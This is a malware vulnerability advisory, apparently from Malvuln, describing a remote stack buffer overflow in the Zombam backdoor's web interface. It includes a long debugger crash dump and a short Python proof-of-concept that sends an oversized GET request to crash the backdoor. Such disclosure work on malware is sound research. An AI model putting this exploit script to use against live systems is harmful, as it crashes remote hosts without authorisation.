Backdoor.Win32.Zombam.gen / Remote Stack Buffer Overflow

2021.06.11
us malvuln (US) us
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zombam.gen Vulnerability: Remote Stack Buffer Overflow Description: Zombam malware listens on TCP port 80 to display an HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make an HTTP GET request sending a long string to trigger a buffer overflow overwriting the EDX register. Type: PE32 MD5: ff6516c881dee555b0cd253408b64404 Vuln ID: MVID-2021-0245 Disclosure: 06/10/2021 Memory Dump: (af4.1a48): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=0287fa20 edx=41414141 esi=00000003 edi=00000003 eip=7725ed3c esp=0287f0bc ebp=0287f24c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7725ed3c c21400 ret 14h 0:005> .ecxr eax=0287f9f0 ebx=04170280 ecx=0287fa20 edx=41414141 esi=04170280 edi=00405366 eip=004029c0 esp=0287f9d8 ebp=0287fa28 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.gen.ff6516c881dee555b0cd253408b64404.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Zombam.gen.ff6516c881dee555b0cd253408b64404.exe Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+0x29c0: 004029c0 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=???????? 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+29c0 004029c0 8b4204 mov eax,dword ptr [edx+4] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004029c0 (Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+0x000029c0) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414145 Attempt to read from address 41414145 PROCESS_NAME: Backdoor.Win32.Zombam.gen.ff6516c881dee555b0cd253408b64404.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414145 READ_ADDRESS: 41414145 FOLLOWUP_IP: Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+29c0 004029c0 8b4204 mov eax,dword ptr [edx+4] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001a48 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 00402554 to 004029c0 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0287fa28 00402554 41414141 0287fa40 00000415 Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+0x29c0 0287faa4 41414141 41414141 41414141 41414141 Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+0x2554 0287faa8 41414141 41414141 41414141 41414141 0x41414141 0287faac 41414141 41414141 41414141 41414141 0x41414141 0287fab0 41414141 41414141 41414141 41414141 0x41414141 0287fab4 41414141 41414141 41414141 41414141 0x41414141 0287fab8 41414141 41414141 41414141 41414141 0x41414141 0287fabc 41414141 41414141 41414141 41414141 0x41414141 0287fac0 41414141 41414141 41414141 41414141 0x41414141 0287fac4 41414141 41414141 41414141 41414141 0x41414141 0287fac8 41414141 41414141 41414141 41414141 0x41414141 0287facc 41414141 41414141 41414141 41414141 0x41414141 0287fad0 41414141 41414141 41414141 41414141 0x41414141 0287fad4 41414141 41414141 41414141 41414141 0x41414141 0287fad8 41414141 41414141 41414141 41414141 0x41414141 0287fadc 41414141 41414141 41414141 41414141 0x41414141 0287fae0 41414141 41414141 41414141 41414141 0x41414141 0287fae4 41414141 41414141 41414141 41414141 0x41414141 0287fae8 41414141 41414141 41414141 41414141 0x41414141 0287faec 41414141 41414141 41414141 41414141 0x41414141 0287faf0 41414141 41414141 41414141 41414141 0x41414141 0287faf4 41414141 41414141 41414141 41414141 0x41414141 0287faf8 41414141 41414141 41414141 41414141 0x41414141 0287fafc 41414141 41414141 41414141 41414141 0x41414141 0287fb00 41414141 41414141 41414141 41414141 0x41414141 0287fb04 41414141 41414141 41414141 41414141 0x41414141 0287fb08 41414141 41414141 41414141 41414141 0x41414141 0287fb0c 41414141 41414141 41414141 41414141 0x41414141 0287fb10 41414141 41414141 41414141 41414141 0x41414141 0287fb14 41414141 41414141 41414141 41414141 0x41414141 0287fb18 41414141 41414141 41414141 41414141 0x41414141 0287fb1c 41414141 41414141 41414141 41414141 0x41414141 0287fb20 41414141 41414141 41414141 41414141 0x41414141 0287fb24 41414141 41414141 41414141 41414141 0x41414141 0287fb28 41414141 41414141 41414141 41414141 0x41414141 0287fb2c 41414141 41414141 41414141 41414141 0x41414141 0287fb30 41414141 41414141 41414141 41414141 0x41414141 0287fb34 41414141 41414141 41414141 41414141 0x41414141 0287fb38 41414141 41414141 41414141 41414141 0x41414141 0287fb3c 41414141 41414141 41414141 41414141 0x41414141 0287fb40 41414141 41414141 41414141 41414141 0x41414141 0287fb44 41414141 41414141 41414141 41414141 0x41414141 0287fb48 41414141 41414141 41414141 41414141 0x41414141 0287fb4c 41414141 41414141 41414141 41414141 0x41414141 0287fb50 41414141 41414141 41414141 41414141 0x41414141 0287fb54 41414141 41414141 41414141 41414141 0x41414141 0287fb58 41414141 41414141 41414141 41414141 0x41414141 0287fb5c 41414141 41414141 41414141 41414141 0x41414141 0287fb60 41414141 41414141 41414141 41414141 0x41414141 0287fb64 41414141 41414141 41414141 41414141 0x41414141 0287fb68 41414141 41414141 41414141 41414141 0x41414141 0287fb6c 41414141 41414141 41414141 41414141 0x41414141 0287fb70 41414141 41414141 41414141 41414141 0x41414141 0287fb74 41414141 41414141 41414141 41414141 0x41414141 0287fb78 41414141 41414141 41414141 41414141 0x41414141 0287fb7c 41414141 41414141 41414141 41414141 0x41414141 0287fb80 41414141 41414141 41414141 41414141 0x41414141 0287fb84 41414141 41414141 41414141 41414141 0x41414141 0287fb88 41414141 41414141 41414141 41414141 0x41414141 0287fb8c 41414141 41414141 41414141 41414141 0x41414141 0287fb90 41414141 41414141 41414141 41414141 0x41414141 0287fb94 41414141 41414141 41414141 41414141 0x41414141 0287fb98 41414141 41414141 41414141 41414141 0x41414141 0287fb9c 41414141 41414141 41414141 41414141 0x41414141 0287fba0 41414141 41414141 41414141 41414141 0x41414141 0287fba4 41414141 41414141 41414141 41414141 0x41414141 0287fba8 41414141 41414141 41414141 41414141 0x41414141 0287fbac 41414141 41414141 41414141 41414141 0x41414141 0287fbb0 41414141 41414141 41414141 41414141 0x41414141 0287fbb4 41414141 41414141 41414141 41414141 0x41414141 0287fbb8 41414141 41414141 41414141 41414141 0x41414141 0287fbbc 41414141 41414141 41414141 41414141 0x41414141 0287fbc0 41414141 41414141 41414141 41414141 0x41414141 0287fbc4 41414141 41414141 41414141 41414141 0x41414141 0287fbc8 41414141 41414141 41414141 41414141 0x41414141 0287fbcc 41414141 41414141 41414141 41414141 0x41414141 0287fbd0 41414141 41414141 41414141 41414141 0x41414141 0287fbd4 41414141 41414141 41414141 41414141 0x41414141 0287fbd8 41414141 41414141 41414141 41414141 0x41414141 0287fbdc 41414141 41414141 41414141 41414141 0x41414141 0287fbe0 41414141 41414141 41414141 41414141 0x41414141 0287fbe4 41414141 41414141 41414141 41414141 0x41414141 0287fbe8 41414141 41414141 41414141 41414141 0x41414141 0287fbec 41414141 41414141 41414141 41414141 0x41414141 0287fbf0 41414141 41414141 41414141 41414141 0x41414141 0287fbf4 41414141 41414141 41414141 41414141 0x41414141 0287fbf8 41414141 41414141 41414141 41414141 0x41414141 0287fbfc 41414141 41414141 41414141 41414141 0x41414141 0287fc00 41414141 41414141 41414141 41414141 0x41414141 0287fc04 41414141 41414141 41414141 41414141 0x41414141 0287fc08 41414141 41414141 41414141 41414141 0x41414141 0287fc0c 41414141 41414141 41414141 41414141 0x41414141 0287fc10 41414141 41414141 41414141 41414141 0x41414141 0287fc14 41414141 41414141 41414141 41414141 0x41414141 0287fc18 41414141 41414141 41414141 41414141 0x41414141 0287fc1c 41414141 41414141 41414141 41414141 0x41414141 0287fc20 41414141 41414141 41414141 41414141 0x41414141 0287fc24 41414141 41414141 41414141 41414141 0x41414141 0287fc28 41414141 41414141 41414141 41414141 0x41414141 0287fc2c 41414141 41414141 41414141 41414141 0x41414141 0287fc30 41414141 41414141 41414141 41414141 0x41414141 0287fc34 41414141 41414141 41414141 41414141 0x41414141 0287fc38 41414141 41414141 41414141 41414141 0x41414141 0287fc3c 41414141 41414141 41414141 41414141 0x41414141 0287fc40 41414141 41414141 41414141 41414141 0x41414141 0287fc44 41414141 41414141 41414141 41414141 0x41414141 0287fc48 41414141 41414141 41414141 41414141 0x41414141 0287fc4c 41414141 41414141 41414141 41414141 0x41414141 0287fc50 41414141 41414141 41414141 41414141 0x41414141 0287fc54 41414141 41414141 41414141 41414141 0x41414141 0287fc58 41414141 41414141 41414141 41414141 0x41414141 0287fc5c 41414141 41414141 41414141 41414141 0x41414141 0287fc60 41414141 41414141 41414141 41414141 0x41414141 0287fc64 41414141 41414141 41414141 41414141 0x41414141 0287fc68 41414141 41414141 41414141 41414141 0x41414141 0287fc6c 41414141 41414141 41414141 41414141 0x41414141 0287fc70 41414141 41414141 41414141 41414141 0x41414141 0287fc74 41414141 41414141 41414141 41414141 0x41414141 0287fc78 41414141 41414141 41414141 41414141 0x41414141 0287fc7c 41414141 41414141 41414141 41414141 0x41414141 0287fc80 41414141 41414141 41414141 41414141 0x41414141 0287fc84 41414141 41414141 41414141 41414141 0x41414141 0287fc88 41414141 41414141 41414141 41414141 0x41414141 0287fc8c 41414141 41414141 41414141 41414141 0x41414141 0287fc90 41414141 41414141 41414141 41414141 0x41414141 0287fc94 41414141 41414141 41414141 41414141 0x41414141 0287fc98 41414141 41414141 41414141 41414141 0x41414141 0287fc9c 41414141 41414141 41414141 41414141 0x41414141 0287fca0 41414141 41414141 41414141 41414141 0x41414141 0287fca4 41414141 41414141 41414141 41414141 0x41414141 0287fca8 41414141 41414141 41414141 41414141 0x41414141 0287fcac 41414141 41414141 41414141 41414141 0x41414141 0287fcb0 41414141 41414141 41414141 41414141 0x41414141 0287fcb4 41414141 41414141 41414141 41414141 0x41414141 0287fcb8 41414141 41414141 41414141 41414141 0x41414141 0287fcbc 41414141 41414141 41414141 41414141 0x41414141 0287fcc0 41414141 41414141 41414141 41414141 0x41414141 0287fcc4 41414141 41414141 41414141 41414141 0x41414141 0287fcc8 41414141 41414141 41414141 41414141 0x41414141 0287fccc 41414141 41414141 41414141 41414141 0x41414141 0287fcd0 41414141 41414141 41414141 41414141 0x41414141 0287fcd4 41414141 41414141 41414141 41414141 0x41414141 0287fcd8 41414141 41414141 41414141 41414141 0x41414141 0287fcdc 41414141 41414141 41414141 41414141 0x41414141 0287fce0 41414141 41414141 41414141 41414141 0x41414141 0287fce4 41414141 41414141 41414141 41414141 0x41414141 0287fce8 41414141 41414141 41414141 41414141 0x41414141 0287fcec 41414141 41414141 41414141 41414141 0x41414141 0287fcf0 41414141 41414141 41414141 41414141 0x41414141 0287fcf4 41414141 41414141 41414141 41414141 0x41414141 0287fcf8 41414141 41414141 41414141 41414141 0x41414141 0287fcfc 41414141 41414141 41414141 41414141 0x41414141 0287fd00 41414141 41414141 41414141 41414141 0x41414141 0287fd04 41414141 41414141 41414141 41414141 0x41414141 0287fd08 41414141 41414141 41414141 41414141 0x41414141 0287fd0c 41414141 41414141 41414141 41414141 0x41414141 0287fd10 41414141 41414141 41414141 41414141 0x41414141 0287fd14 41414141 41414141 41414141 41414141 0x41414141 0287fd18 41414141 41414141 41414141 41414141 0x41414141 0287fd1c 41414141 41414141 41414141 41414141 0x41414141 0287fd20 41414141 41414141 41414141 41414141 0x41414141 0287fd24 41414141 41414141 41414141 41414141 0x41414141 0287fd28 41414141 41414141 41414141 41414141 0x41414141 0287fd2c 41414141 41414141 41414141 41414141 0x41414141 0287fd30 41414141 41414141 41414141 41414141 0x41414141 0287fd34 41414141 41414141 41414141 41414141 0x41414141 0287fd38 41414141 41414141 41414141 41414141 0x41414141 0287fd3c 41414141 41414141 41414141 41414141 0x41414141 0287fd40 41414141 41414141 41414141 41414141 0x41414141 0287fd44 41414141 41414141 41414141 41414141 0x41414141 0287fd48 41414141 41414141 41414141 41414141 0x41414141 0287fd4c 41414141 41414141 41414141 41414141 0x41414141 0287fd50 41414141 41414141 41414141 41414141 0x41414141 0287fd54 41414141 41414141 41414141 41414141 0x41414141 0287fd58 41414141 41414141 41414141 41414141 0x41414141 0287fd5c 41414141 41414141 41414141 41414141 0x41414141 0287fd60 41414141 41414141 41414141 41414141 0x41414141 0287fd64 41414141 41414141 41414141 41414141 0x41414141 0287fd68 41414141 41414141 41414141 41414141 0x41414141 0287fd6c 41414141 41414141 41414141 41414141 0x41414141 0287fd70 41414141 41414141 41414141 41414141 0x41414141 0287fd74 41414141 41414141 41414141 41414141 0x41414141 0287fd78 41414141 41414141 41414141 41414141 0x41414141 0287fd7c 41414141 41414141 41414141 41414141 0x41414141 0287fd80 41414141 41414141 41414141 41414141 0x41414141 0287fd84 41414141 41414141 41414141 41414141 0x41414141 0287fd88 41414141 41414141 41414141 41414141 0x41414141 0287fd8c 41414141 41414141 41414141 41414141 0x41414141 0287fd90 41414141 41414141 41414141 41414141 0x41414141 0287fd94 41414141 41414141 41414141 41414141 0x41414141 0287fd98 41414141 41414141 41414141 41414141 0x41414141 0287fd9c 41414141 41414141 41414141 41414141 0x41414141 0287fda0 41414141 41414141 41414141 41414141 0x41414141 0287fda4 41414141 41414141 41414141 41414141 0x41414141 0287fda8 41414141 41414141 41414141 41414141 0x41414141 0287fdac 41414141 41414141 41414141 41414141 0x41414141 0287fdb0 41414141 41414141 41414141 41414141 0x41414141 0287fdb4 41414141 41414141 41414141 41414141 0x41414141 0287fdb8 41414141 41414141 41414141 41414141 0x41414141 0287fdbc 41414141 41414141 41414141 41414141 0x41414141 0287fdc0 41414141 41414141 41414141 41414141 0x41414141 0287fdc4 41414141 41414141 41414141 41414141 0x41414141 0287fdc8 41414141 41414141 41414141 41414141 0x41414141 0287fdcc 41414141 41414141 41414141 41414141 0x41414141 0287fdd0 41414141 41414141 41414141 41414141 0x41414141 0287fdd4 41414141 41414141 41414141 41414141 0x41414141 0287fdd8 41414141 41414141 41414141 41414141 0x41414141 0287fddc 41414141 41414141 41414141 41414141 0x41414141 0287fde0 41414141 41414141 41414141 41414141 0x41414141 0287fde4 41414141 41414141 41414141 41414141 0x41414141 0287fde8 41414141 41414141 41414141 41414141 0x41414141 0287fdec 41414141 41414141 41414141 41414141 0x41414141 0287fdf0 41414141 41414141 41414141 41414141 0x41414141 0287fdf4 41414141 41414141 41414141 41414141 0x41414141 0287fdf8 41414141 41414141 41414141 41414141 0x41414141 0287fdfc 41414141 41414141 41414141 41414141 0x4 STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+29c0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404 IMAGE_NAME: Backdoor.Win32.Zombam.gen.ff6516c881dee555b0cd253408b64404.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3ee61232 FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Zombam.gen.ff6516c881dee555b0cd253408b64404.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Zombam_gen_ff6516c881dee555b0cd253408b64404+29c0 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=80 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="GET /"+"A"*6000+"HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() print("Backdoor.Win32.Zombam.gen / Remote Stack Buffer Overflow") print("MD5: ff6516c881dee555b0cd253408b64404") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top